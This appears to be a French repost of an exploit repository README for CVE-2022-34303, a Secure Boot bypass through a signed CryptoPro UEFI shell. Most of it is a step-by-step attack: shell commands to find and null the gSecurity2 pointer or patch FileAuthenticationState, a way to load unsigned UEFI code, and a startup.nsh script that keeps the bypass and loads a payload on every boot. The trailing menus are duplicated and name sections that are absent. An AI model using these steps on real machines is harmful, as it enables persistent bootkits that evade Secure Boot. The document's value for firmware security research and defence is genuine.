CVE-2022-34303 — Démontre le contournement de Secure Boot CVE-2022-34303 via un UEFI Shell signé par CryptoPro, en utilisant la commande mm pour annuler gSecurity2 et charger des applications UEFI non signées. | Kitploit

Vue d'ensemble

Ce dépôt illustre la technique BYOVUA (Bring Your Own Vulnerable UEFI Application) en exploitant CVE-2022-34303, une vulnérabilité de contournement de Secure Boot dans l'environnement d'amorçage UEFI de CryptoPro Secure Disk.

Dans ce cas, le composant approuvé par Secure Boot est un shim personnalisé signé par l'UEFI Third Party Certificate Authority de Microsoft. Une fois exécuté, ce shim charge un UEFI Shell en tant que second étage, ce qui expose la commande mm (memory modify) et fournit donc des capacités de lecture et d'écriture arbitraires en mémoire durant la phase d'amorçage pré-OS.

Cette primitive peut ensuite être utilisée pour localiser et neutraliser le pointeur global gSecurity2 dans le cœur DXE. Par conséquent, la vérification des images UEFI suivantes est désactivée, permettant le chargement d'applications UEFI non signées, des bootkits, malgré l'activation de Secure Boot.

Contexte

Bring Your Own Vulnerable UEFI Application

BYOVUA est l'équivalent UEFI de la technique BYOVD (Bring Your Own Vulnerable Driver) utilisée au niveau du noyau. Au lieu d'apporter un pilote noyau signé comportant une vulnérabilité, l'attaquant apporte une application UEFI signée - dans ce cas, un UEFI Shell complet - qui contient des fonctionnalités capables de compromettre Secure Boot.

Comme l'application - dans ce cas, le shim personnalisé qui charge l'UEFI Shell en tant que second étage - est signée avec un certificat approuvé par Microsoft, elle est acceptée par Secure Boot sans contestation, ce qui la rend approuvée sur tout système qui inclut ce certificat dans sa base de données Secure Boot (db) - c'est-à-dire pratiquement tous les PC compatibles UEFI livrés au cours de la dernière décennie. Une fois en cours d'exécution, ses commandes intégrées fournissent à l'attaquant un accès direct au matériel et à la mémoire qui opère avant le chargement du système d'exploitation, dans un environnement où les contrôles de sécurité modernes (ASLR, DEP, protections du noyau) n'existent tout simplement pas.

Le Shell signé

Shell_Full.efi est un UEFI Shell distribué dans le cadre de CryptoPro Secure Disk, un produit d'authentification pré-amorçage et de chiffrement de disque.

La vulnérabilité

La vulnérabilité n'est pas un bug - c'est un défaut de conception. Les UEFI Shells sont des outils de diagnostic légitimes qui n'ont jamais été conçus pour s'exécuter dans des environnements Secure Boot. Cependant, en les signant avec un certificat approuvé par Microsoft et en les distribuant dans le cadre de produits commerciaux, les éditeurs ont involontairement créé un contournement signé de Secure Boot.

Le problème central : un binaire signé approuvé par Secure Boot fournit des capacités de lecture/écriture mémoire non restreintes via ses commandes intégrées. Cette combinaison brise tout le modèle de confiance de Secure Boot.

La commande mm

La commande mm (memory modify) est une commande intégrée standard du UEFI Shell qui fournit un accès direct en lecture et en écriture à la mémoire système. Elle est documentée dans la UEFI Shell Specification (Section 5.3).``` MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]

| Paramètre | Description |
|-----------|-------------|
| `Address` | Adresse mémoire cible |
| `Value` | Valeur à écrire (omettre pour une lecture seule) |
| `-w` | Largeur : 1, 2, 4 ou 8 octets |
| `-MEM` | Accès à la mémoire système |
| `-MMIO` | E/S mappées en mémoire |
| `-IO` | Accès au port d'E/S |
| `-n` | Non interactif (aucune invite pour l'adresse suivante) |

---

<div id='gsecurity2'/>

### ***gSecurity2 et le protocole d'architecture de sécurité***

La vérification des images de démarrage sécurisé dans UEFI est assurée par les [protocoles d'architecture de sécurité](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), définis dans la spécification UEFI Platform Initialization (PI).

Le cœur DXE (DxeMain) maintient un pointeur global appelé [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), qui pointe vers la structure `EFI_SECURITY2_ARCH_PROTOCOL`. Ce protocole contient un unique pointeur de fonction - `FileAuthenticationState` - qui est appelé par `LoadImage()` chaque fois qu'une image UEFI est chargée :```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
	EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;

// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68

Lorsque LoadImage() est appelé, le cœur DXE vérifie :```c if (gSecurity2 != NULL) { Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy ); if (EFI_ERROR(Status)) { // Image rejected - signature verification failed } }

En définissant `gSecurity2 = NULL`, la vérification `if` échoue et `FileAuthenticationState` n'est jamais appelée. La vérification de l'image est complètement ignorée - **Secure Boot reste « activé » mais n'est plus appliqué**. Des applications UEFI non signées peuvent alors être chargées librement.

Pour une compréhension technique approfondie de cette technique, y compris une application UEFI spécialement conçue qui localise et corrige automatiquement gSecurity2, voir le projet compagnon : [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).

---

<div id='BYOVD'/>

### ***Parallèle avec le BYOVD du noyau***

Le parallèle structurel entre l'UEFI BYOVUA et le BYOVD du noyau est exact :```
┌──────────────────────────────────────────────────────────────┐
│  UEFI BYOVUA (Secure Boot Bypass)                            │
│                                                              │
│  Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned     │
│  (trusted by          (Security2 Protocol)   UEFI apps       │
│   Secure Boot)                                               │
├──────────────────────────────────────────────────────────────┤
│  Kernel BYOVD (DSE Bypass)                                   │
│                                                              │
│  Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned   │
│  (trusted by              (CI.dll)            kernel drivers │
│   DSE / CI)                                                  │
└──────────────────────────────────────────────────────────────┘

Les deux attaques exploitent la même faille fondamentale : un composant signé, approuvé par un mécanisme de sécurité, fournit la primitive nécessaire pour désactiver ce même mécanisme.

Comment ça marche

Phase 1 - Démarrer le shell signé

Le fichier signé Shell_Full.efi est placé sur la partition système EFI (ESP) et configuré comme option de démarrage. Comme il est signé avec une chaîne de certificats approuvée par Secure Boot, le firmware le valide et le charge sans problème.``` EFI System Partition (ESP) └── EFI/ └── Boot/ | └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher | └── CPSD/ └── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA └── startup.nsh (Script) ← Auto-executed on shell launch

---

<div id='Phase2'/>

### ***Phase 2 - Énumérer les handles du protocole Security2***

Depuis le Shell UEFI, l'objectif est de trouver le handle qui expose le `EFI_SECURITY2_ARCH_PROTOCOL` (GUID : `94AB2F58-1438-4EF1-9152-18941A3A0E68`) et d'obtenir l'adresse mémoire de son interface de protocole.

> **Remarque :** La commande `dh -p <GUID>` ne résout pas les GUID bruts dans la plupart des builds du Shell EDK2 - elle ne reconnaît que les noms de protocoles enregistrés. L'approche ci-dessous fonctionne sur n'importe quelle version du Shell EDK2.

**Étape 1 - Trouver le handle SecurityStubDxe**

Lister tous les handles et rechercher `SecurityStubDxe`, qui est le pilote DXE qui installe les deux protocoles architecturaux de sécurité :```
Shell> dh

**Étape 2 - Inspecter les handles adjacents**

`SecurityStubDxe` installe les protocoles Security sur un handle séparé, généralement celui qui le suit immédiatement. Ces handles apparaissent vides dans la liste courte car le Shell ne peut pas mapper leurs GUIDs vers des noms conviviaux. Inspectez-les avec le mode verbeux :```
Shell> dh -v 11

Si le handle `0x11` ne contient pas ces GUIDs, essayez `0x12` - le numéro de handle exact varie selon les versions du firmware.

**Étape 3 - Enregistrer l'adresse de l'interface**

Les deux protocoles et leurs adresses d'interface sont :

| GUID | Protocole | Adresse d'interface |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |

L'**adresse d'interface Security2** (`0x3EE8C3A0` dans cet exemple) est la valeur stockée par le pointeur global `gSecurity2` à l'intérieur de DxeMain. Cette valeur est nécessaire pour la Phase 3.

---

<div id='Phase3'/>

### ***Phase 3 - Localiser gSecurity2 en mémoire***

La variable `gSecurity2` est un pointeur global à l'intérieur du cœur DXE (`DxeMain`). Sa valeur est égale à l'adresse d'interface du protocole trouvée en Phase 2. L'objectif est de trouver l'adresse mémoire où ce pointeur est stocké - non pas la valeur du pointeur, mais la variable elle-même.

**Étape 1 - Obtenir la disposition de l'image du cœur DXE**```
Shell> dh -v 1

Enregistrez `ImageBase` (`0x3FE94000`).

**Étape 2 - Analyser les en-têtes PE pour trouver la section `.data`**

La section `.data` contient les variables globales initialisées, y compris `gSecurity2`. Au lieu de parcourir toute l'image à l'aveugle, analysez les en-têtes PE pour trouver les limites exactes de `.data`.

Lisez l'en-tête MZ pour obtenir l'offset de l'en-tête PE (DWORD à l'offset `0x3C`) :```
Shell> dmem <ImageBase> 100

Cela signifie que la signature PE se trouve à l'offset `0xC0` depuis `ImageBase`.

**Étape 3 - Lire la table des sections**

L'offset de la table des sections est calculé comme suit :```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader

Chaque entrée de section fait 40 octets :

| Offset | Taille | Champ |
|--------|--------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |

Recherchez l'entrée de section `.data`. Exemple de sortie :```
  3FE941F0: 2E 64 61 74 61 00 00 00   ← ".data"
  3FE941F8: B0 9E 00 00               ← VirtualSize = 0x9EB0
  3FE941FC: 60 AA 01 00               ← VirtualAddress (RVA) = 0x1AA60

**Étape 4 - Rechercher dans `.data` le pointeur d'interface**

Recherchez l'adresse de l'interface Security2 en ordre d'octets little-endian dans la plage `.data`. Pour une adresse d'interface de `0x3EE8C3A0`, recherchez :```
A0 C3 E8 3E 00 00 00 00

Continuez à parcourir la plage `.data` jusqu'à ce que vous trouviez la séquence d'octets. Les pointeurs `gSecurity` (Security1) et `gSecurity2` (Security2) sont stockés consécutivement, donc recherchez les deux valeurs adjacentes l'une à l'autre :```
  3FEB0C08: A0 C3 E8 3E 00 00 00 00   ← gSecurity2 = 0x3EE8C3A0
  3FEB0C10: 98 C3 E8 3E 00 00 00 00   ← gSecurity  = 0x3EE8C398

Phase 4 - Neutraliser gSecurity2

Une fois l'adresse de la variable gSecurity2 connue, une seule commande mm désactive la vérification du Secure Boot :``` Shell> mm <gSecurity2_address> 0 -w 8 -MEM

> **Remarque :** La commande `mm` peut ne pas accepter le préfixe `0x` sur l'argument d'adresse. Utilisez directement l'adresse hexadécimale brute.

Exemple :```
Shell> mm 3FEB0C08 0 -w 8 -MEM

Cela écrit 8 octets de zéros dans le pointeur gSecurity2. Le cœur DXE ignorera désormais toutes les vérifications de vérification d'image dans LoadImage().

Pour vérifier le patch :``` Shell> dmem <gSecurity2_address> 10

Les 8 premiers octets doivent être `00 00 00 00 00 00 00 00` :```
  3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00

Notez que gSecurity (Security1, second qword) reste intact - seul Security2 est annulé, ce qui est suffisant pour contourner la vérification de LoadImage().

Phase 5 - Charger des applications UEFI non signées

Avec gSecurity2 annulé, n'importe quelle application UEFI peut être chargée quel que soit son statut de signature :``` Shell> fs1: fs1:> MyUnsignedApp.efi

Ou en utilisant `load` pour les pilotes :```
Shell> load fs1:\MyUnsignedDriver.efi

Le système d'exploitation n'a pas encore démarré. Toute application UEFI chargée à ce stade s'exécute avec un accès complet au matériel, avant que tout contrôle de sécurité au niveau du système d'exploitation ne soit initialisé.

Phase 6 - Persistance via startup.nsh

Le Shell UEFI exécute automatiquement startup.nsh depuis le répertoire courant ou la racine de l'ESP à chaque lancement. En encodant le patch mm dans ce script, le contournement de Secure Boot s'exécute automatiquement à chaque démarrage :```nsh mm <gSecurity2_address> 0 -w 8 -MEM load fs1:\payload.efi

Exemple :```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi

Extra - Processus de découverte

La recherche de l'adresse gSecurity2 est spécifique au firmware et doit être répétée chaque fois que le firmware est mis à jour ou recompilé. Le processus de haut niveau est le suivant :``` Step 1 Step 2 Step 3 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ dh │──> │ dh -v │──> │ dh -v 1 │ │ │ │ │ │ │ │ Find │ │ Inspect adjacent │ │ Get DxeMain │ │ SecurityStubDxe │ │ handle for │ │ ImageBase and │ │ handle number │ │ Security2 GUID and │ │ ImageSize │ │ │ │ Interface address │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘ │ v Step 6 Step 5 Step 4 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │ │ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │ │ │ │ -MEM │ │ scan for Interface │ │ First 8 bytes │ │ │ │ address bytes in │ │ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │ │ │ │ active │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘

---
---
---



<div id='Exploit'/>

## ***Exploit***

Deux approches sont proposées :

**Approche A - Patch de FileAuthenticationState :** Écrase les 4 premiers octets de la fonction de vérification avec `xor rax, rax; ret` (`48 31 C0 C3`), la faisant retourner EFI_SUCCESS sans effectuer aucune vérification. Cette approche utilise les commandes `dh`, `dmem` et `mm` pour résoudre le pointeur de fonction via l'interface du protocole Security2 et ne nécessite pas de rechercher dans la mémoire de DxeMain.

**Approche B - Neutralisation du pointeur gSecurity2 :** Localise la variable globale gSecurity2 dans la section `.data` de DxeMain et y écrit NULL. C'est la technique décrite par Eclypsium dans la divulgation BombShell et implémentée programmatiquement dans le dépôt [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Cette approche nécessite d'analyser les en-têtes PE de DxeMain pour trouver les limites de la section `.data`, puis de scanner manuellement la mémoire avec `dmem` pour localiser l'adresse du pointeur.

Les deux scripts sont conçus pour être suivis étape par étape, chaque commande étant expliquée. Exécutez-les d'abord de manière interactive, puis une fois les adresses correctes connues pour le firmware cible, construisez un `startup.nsh` pour une exécution automatisée à chaque démarrage.



---
---
---



<div id='LabSetup'/>

## ***Configuration du laboratoire***

### DBX (Base de données des signatures interdites)

Le shell signé a été ajouté à la liste de révocation DBX de Microsoft via KB5012170 (août 2022). Sur les systèmes mis à jour, le shell sera rejeté par Secure Boot.

Pour l'environnement de laboratoire, vous avez besoin d'un système où :
- La DBX n'a pas été mise à jour avec l'entrée de révocation pour ce shell spécifique
- Ou la DBX est vide (VM fraîche avec les clés Secure Boot par défaut)
- Ou vous utilisez un environnement QEMU/OVMF avec une inscription personnalisée des clés Secure Boot

Le [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) fournit une configuration automatisée pour cela.

### Alternative : tout shell UEFI signé avec la commande mm

La technique n'est pas spécifique à `Shell_Full.efi`. Tout shell UEFI qui expose la commande `mm` et est signé avec un certificat de confiance (Microsoft CA ou spécifique à l'OEM) peut être utilisé. Comme documenté par la recherche [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) d'Eclypsium (octobre 2025), des shells UEFI signés dotés de capacités dangereuses ont été trouvés dans les produits de plusieurs fournisseurs, notamment les ordinateurs portables Framework (affectant environ 200 000 appareils).



---
---
---



<div id='References'/>

## ***Références***

### Directement liées

- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - Collection organisée d'applications UEFI signées vulnérables connues
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - Analyse technique approfondie de la technique de corruption de gSecurity2, incluant une application UEFI spécialement conçue qui localise et patche automatiquement le pointeur

### Recherche Eclypsium

- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - Recherche sur l'utilisation de shells UEFI signés pour la manipulation de mémoire avec le scripting .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Recherche originale d'Eclypsium divulguant CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Présentation de Mickey Shkatov et Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Recherche d'octobre 2025 démontrant l'attaque gSecurity2 via la commande mm sur les ordinateurs portables Framework (200 000 appareils affectés)

### Spécifications UEFI

- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - Documentation pour les commandes mm et dh
- [EDK2 - déclaration de gSecurity2 (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - Référence du code source pour le pointeur global gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Définition officielle du Security2 Architectural Protocol

### Avis

- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)

Fichier	Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell)
Éditeur	CryptoPro Secure Disk
CVE	CVE-2022-34303
Signature	Microsoft Corporation UEFI CA 2011 (Third Party)
Découverte	Eclypsium (Mickey Shkatov, Jesse Michael) - Août 2022
Présentation	DEF CON 30 - "One Bootloader to Load Them All"
Révocation	Ajouté à la DBX via Microsoft KB5012170 (Août 2022)

Populaires

CVE-2022-34303

Vue d'ensemble

Contexte

Bring Your Own Vulnerable UEFI Application

Le Shell signé

La vulnérabilité

La commande mm

Comment ça marche

Phase 1 - Démarrer le shell signé

Exemples

Compilation

Prérequis

Compiler depuis les sources

Compilation multiplateforme

Utilisation du Makefile

Configuration

Phase 4 - Neutraliser gSecurity2

Phase 5 - Charger des applications UEFI non signées

Phase 6 - Persistance via startup.nsh

Extra - Processus de découverte

Populaires

CVE-2022-34303

🕷️ CVE-2022-34303 - Vulnérabilité du chargeur d'amorçage CryptoPro

📑 Table des matières

Vue d'ensemble

Contexte

Bring Your Own Vulnerable UEFI Application

Le Shell signé

La vulnérabilité

La commande mm

Comment ça marche

Phase 1 - Démarrer le shell signé

Exemples

Compilation

Prérequis

Compiler depuis les sources

Compilation multiplateforme

Utilisation du Makefile

Configuration

Phase 4 - Neutraliser gSecurity2

Phase 5 - Charger des applications UEFI non signées

Phase 6 - Persistance via startup.nsh

Extra - Processus de découverte